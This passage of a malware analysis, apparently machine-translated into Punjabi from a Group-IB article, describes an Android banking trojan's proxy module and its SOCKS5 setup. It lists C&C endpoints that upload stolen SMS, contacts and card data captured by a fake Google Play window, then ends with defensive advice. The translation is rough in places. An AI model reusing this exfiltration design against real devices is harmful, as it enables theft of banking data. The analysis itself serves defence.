ਕਨੈਕਸ਼ਨ ਆਈ.ਡੀ	0	ਕਨੈਕਸ਼ਨ ਆਈ.ਡੀ	ਇੱਕ ਨਵਾਂ ਕਨੈਕਸ਼ਨ ਬਣਾਓ
ਨੀਂਦ	3	ਟਾਈਮ	ਪ੍ਰੌਕਸੀ ਮੋਡੀਊਲ ਨੂੰ ਰੋਕੋ
ਪਿੰਗ_ਪੋਂਗ	4	-	PONG ਸੁਨੇਹਾ ਭੇਜੋ

ਇੱਕ PONG ਸੰਦੇਸ਼ ਵਿੱਚ 4 ਬਾਈਟ ਹੁੰਦੇ ਹਨ ਅਤੇ ਇਹ ਇਸ ਤਰ੍ਹਾਂ ਦਿਖਦਾ ਹੈ: 0x04000000.

ਜਦੋਂ connectId ਕਮਾਂਡ ਪ੍ਰਾਪਤ ਹੁੰਦੀ ਹੈ (ਨਵਾਂ ਕੁਨੈਕਸ਼ਨ ਬਣਾਉਣ ਲਈ) ਕਮਾਂਡ ਕੁਨੈਕਸ਼ਨ ਇੱਕ ਕਲਾਸ ਦੀ ਇੱਕ ਉਦਾਹਰਣ ਬਣਾਉਂਦਾ ਹੈ ਪ੍ਰੌਕਸੀ ਕਨੈਕਸ਼ਨ.

• ਦੋ ਕਲਾਸਾਂ ਪ੍ਰੌਕਸੀ ਵਿੱਚ ਹਿੱਸਾ ਲੈਂਦੀਆਂ ਹਨ: ਪ੍ਰੌਕਸੀ ਕਨੈਕਸ਼ਨ и ਅੰਤ. ਇੱਕ ਕਲਾਸ ਬਣਾਉਣ ਵੇਲੇ ਪ੍ਰੌਕਸੀ ਕਨੈਕਸ਼ਨ ਪਤੇ ਨਾਲ ਜੁੜ ਰਿਹਾ ਹੈ ProxyConfigClass.host: ProxyConfigClass.proxyPort ਅਤੇ JSON ਵਸਤੂ ਨੂੰ ਪਾਸ ਕਰਨਾ:

 {
    "id":<%connectionId%>
}

ਜਵਾਬ ਵਿੱਚ, ਸਰਵਰ ਇੱਕ SOCKS5 ਸੁਨੇਹਾ ਭੇਜਦਾ ਹੈ ਜਿਸ ਵਿੱਚ ਰਿਮੋਟ ਸਰਵਰ ਦਾ ਪਤਾ ਹੁੰਦਾ ਹੈ ਜਿਸ ਨਾਲ ਕੁਨੈਕਸ਼ਨ ਸਥਾਪਤ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ। ਇਸ ਸਰਵਰ ਨਾਲ ਇੰਟਰਐਕਸ਼ਨ ਕਲਾਸ ਰਾਹੀਂ ਹੁੰਦਾ ਹੈ ਅੰਤ. ਕੁਨੈਕਸ਼ਨ ਸੈਟਅਪ ਨੂੰ ਯੋਜਨਾਬੱਧ ਢੰਗ ਨਾਲ ਇਸ ਤਰ੍ਹਾਂ ਦਰਸਾਇਆ ਜਾ ਸਕਦਾ ਹੈ:

ਨੈੱਟਵਰਕ ਇੰਟਰੈਕਸ਼ਨ

ਨੈੱਟਵਰਕ ਸੁੰਘਣ ਵਾਲਿਆਂ ਦੁਆਰਾ ਟ੍ਰੈਫਿਕ ਵਿਸ਼ਲੇਸ਼ਣ ਨੂੰ ਰੋਕਣ ਲਈ, ਸੀਐਨਸੀ ਸਰਵਰ ਅਤੇ ਐਪਲੀਕੇਸ਼ਨ ਵਿਚਕਾਰ ਪਰਸਪਰ ਪ੍ਰਭਾਵ ਨੂੰ SSL ਪ੍ਰੋਟੋਕੋਲ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਸੁਰੱਖਿਅਤ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਸਰਵਰ ਤੋਂ ਅਤੇ ਸਰਵਰ ਤੱਕ ਸਾਰੇ ਪ੍ਰਸਾਰਿਤ ਕੀਤੇ ਗਏ ਡੇਟਾ ਨੂੰ JSON ਫਾਰਮੈਟ ਵਿੱਚ ਪੇਸ਼ ਕੀਤਾ ਗਿਆ ਹੈ। ਐਪਲੀਕੇਸ਼ਨ ਕਾਰਵਾਈ ਦੌਰਾਨ ਹੇਠ ਲਿਖੀਆਂ ਬੇਨਤੀਆਂ ਨੂੰ ਲਾਗੂ ਕਰਦੀ ਹੈ:

• http://<%CnC%>/api/v1/set_state.php - ਕਮਾਂਡ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਦਾ ਨਤੀਜਾ।
• http://<%CnC%>/api/v1/get.php - ਇੱਕ ਹੁਕਮ ਪ੍ਰਾਪਤ ਕਰਨਾ.
• http://<%CnC%>/api/v1/load_sms.php - ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਤੋਂ SMS ਸੁਨੇਹੇ ਡਾਊਨਲੋਡ ਕਰਨਾ।
• http://<%CnC%>/api/v1/load_ab.php - ਇੱਕ ਸੰਕਰਮਿਤ ਡਿਵਾਈਸ ਤੋਂ ਸੰਪਰਕਾਂ ਦੀ ਸੂਚੀ ਅੱਪਲੋਡ ਕਰਨਾ।
• http://<%CnC%>/api/v1/aevents.php - ਤਰਜੀਹ ਫਾਈਲ ਵਿੱਚ ਸਥਿਤ ਪੈਰਾਮੀਟਰਾਂ ਨੂੰ ਅਪਡੇਟ ਕਰਨ ਵੇਲੇ ਬੇਨਤੀ ਕੀਤੀ ਜਾਂਦੀ ਹੈ।
• http://<%CnC%>/api/v1/set_card.php — ਗੂਗਲ ਪਲੇ ਮਾਰਕੀਟ ਦੇ ਰੂਪ ਵਿੱਚ ਇੱਕ ਫਿਸ਼ਿੰਗ ਵਿੰਡੋ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਪ੍ਰਾਪਤ ਕੀਤੇ ਡੇਟਾ ਨੂੰ ਅਪਲੋਡ ਕਰਨਾ।
• http://<%CnC%>/api/v1/logs.php - ਲੌਗ ਡੇਟਾ ਅਪਲੋਡ ਕਰਨਾ।
• http://<%CnC%>/api/v1/records.php - ਫਿਸ਼ਿੰਗ ਵਿੰਡੋਜ਼ ਦੁਆਰਾ ਪ੍ਰਾਪਤ ਡੇਟਾ ਨੂੰ ਅਪਲੋਡ ਕਰਨਾ।
• http://<%CnC%>/api/v1/set_error.php - ਇੱਕ ਗਲਤੀ ਦੀ ਸੂਚਨਾ ਜੋ ਆਈ ਹੈ।

ਿਸਫ਼ਾਰ

ਆਪਣੇ ਗਾਹਕਾਂ ਨੂੰ ਮੋਬਾਈਲ ਟਰੋਜਨਾਂ ਦੇ ਖਤਰੇ ਤੋਂ ਬਚਾਉਣ ਲਈ, ਕੰਪਨੀਆਂ ਨੂੰ ਵਿਆਪਕ ਹੱਲਾਂ ਦੀ ਵਰਤੋਂ ਕਰਨੀ ਚਾਹੀਦੀ ਹੈ ਜੋ ਉਹਨਾਂ ਨੂੰ ਉਪਭੋਗਤਾ ਡਿਵਾਈਸਾਂ 'ਤੇ ਵਾਧੂ ਸੌਫਟਵੇਅਰ ਸਥਾਪਤ ਕੀਤੇ ਬਿਨਾਂ ਖਤਰਨਾਕ ਗਤੀਵਿਧੀ ਦੀ ਨਿਗਰਾਨੀ ਕਰਨ ਅਤੇ ਰੋਕਣ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੇ ਹਨ।

ਅਜਿਹਾ ਕਰਨ ਲਈ, ਮੋਬਾਈਲ ਟਰੋਜਨਾਂ ਦਾ ਪਤਾ ਲਗਾਉਣ ਲਈ ਦਸਤਖਤ ਵਿਧੀਆਂ ਨੂੰ ਕਲਾਇੰਟ ਅਤੇ ਐਪਲੀਕੇਸ਼ਨ ਦੋਵਾਂ ਦੇ ਵਿਵਹਾਰ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਲਈ ਤਕਨਾਲੋਜੀਆਂ ਨਾਲ ਮਜ਼ਬੂਤ ​​​​ਕਰਨ ਦੀ ਜ਼ਰੂਰਤ ਹੈ. ਸੁਰੱਖਿਆ ਵਿੱਚ ਡਿਜੀਟਲ ਫਿੰਗਰਪ੍ਰਿੰਟ ਤਕਨਾਲੋਜੀ ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਇੱਕ ਡਿਵਾਈਸ ਪਛਾਣ ਫੰਕਸ਼ਨ ਵੀ ਸ਼ਾਮਲ ਹੋਣਾ ਚਾਹੀਦਾ ਹੈ, ਜੋ ਇਹ ਸਮਝਣਾ ਸੰਭਵ ਬਣਾਵੇਗਾ ਕਿ ਇੱਕ ਅਟੈਪੀਕਲ ਡਿਵਾਈਸ ਤੋਂ ਖਾਤਾ ਕਦੋਂ ਵਰਤਿਆ ਜਾ ਰਿਹਾ ਹੈ ਅਤੇ ਪਹਿਲਾਂ ਹੀ ਇੱਕ ਧੋਖੇਬਾਜ਼ ਦੇ ਹੱਥਾਂ ਵਿੱਚ ਆ ਗਿਆ ਹੈ।

ਇੱਕ ਬੁਨਿਆਦੀ ਤੌਰ 'ਤੇ ਮਹੱਤਵਪੂਰਨ ਨੁਕਤਾ ਕ੍ਰਾਸ-ਚੈਨਲ ਵਿਸ਼ਲੇਸ਼ਣ ਦੀ ਉਪਲਬਧਤਾ ਹੈ, ਜੋ ਕੰਪਨੀਆਂ ਨੂੰ ਨਾ ਸਿਰਫ਼ ਇੰਟਰਨੈੱਟ 'ਤੇ, ਸਗੋਂ ਮੋਬਾਈਲ ਚੈਨਲ 'ਤੇ ਵੀ ਪੈਦਾ ਹੋਣ ਵਾਲੇ ਜੋਖਮਾਂ ਨੂੰ ਨਿਯੰਤਰਿਤ ਕਰਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦਾ ਹੈ, ਉਦਾਹਰਨ ਲਈ, ਮੋਬਾਈਲ ਬੈਂਕਿੰਗ ਲਈ ਐਪਲੀਕੇਸ਼ਨਾਂ ਵਿੱਚ, ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਨਾਲ ਲੈਣ-ਦੇਣ ਲਈ ਅਤੇ ਹੋਰ ਕੋਈ ਵੀ ਜਿੱਥੇ ਲੈਣ-ਦੇਣ ਕੀਤੇ ਜਾ ਸਕਦੇ ਹਨ। ਵਿੱਤੀ ਲੈਣ-ਦੇਣ।

ਉਪਭੋਗਤਾਵਾਂ ਲਈ ਸੁਰੱਖਿਆ ਨਿਯਮ:

• Google Play ਤੋਂ ਇਲਾਵਾ ਕਿਸੇ ਹੋਰ ਸਰੋਤ ਤੋਂ Android OS ਵਾਲੇ ਮੋਬਾਈਲ ਡਿਵਾਈਸ ਲਈ ਐਪਲੀਕੇਸ਼ਨਾਂ ਨੂੰ ਸਥਾਪਿਤ ਨਾ ਕਰੋ, ਐਪਲੀਕੇਸ਼ਨ ਦੁਆਰਾ ਬੇਨਤੀ ਕੀਤੇ ਅਧਿਕਾਰਾਂ 'ਤੇ ਵਿਸ਼ੇਸ਼ ਧਿਆਨ ਦਿਓ;
• ਨਿਯਮਿਤ ਤੌਰ 'ਤੇ Android OS ਅੱਪਡੇਟ ਸਥਾਪਤ ਕਰੋ;
• ਡਾਉਨਲੋਡ ਕੀਤੀਆਂ ਫਾਈਲਾਂ ਦੇ ਐਕਸਟੈਂਸ਼ਨਾਂ ਵੱਲ ਧਿਆਨ ਦਿਓ;
• ਸ਼ੱਕੀ ਸਰੋਤਾਂ 'ਤੇ ਨਾ ਜਾਓ;
• ਐਸਐਮਐਸ ਸੰਦੇਸ਼ਾਂ ਵਿੱਚ ਪ੍ਰਾਪਤ ਹੋਏ ਲਿੰਕਾਂ 'ਤੇ ਕਲਿੱਕ ਨਾ ਕਰੋ।

ਸਟਾਰਿੰਗ ਸੇਮੀਓਨ ਰੋਗਾਚੇਵਾ, ਗਰੁੱਪ-ਆਈਬੀ ਕੰਪਿਊਟਰ ਫੋਰੈਂਸਿਕ ਪ੍ਰਯੋਗਸ਼ਾਲਾ ਵਿੱਚ ਮਾਲਵੇਅਰ ਖੋਜ ਵਿੱਚ ਜੂਨੀਅਰ ਮਾਹਰ।

ਸਰੋਤ: www.habr.com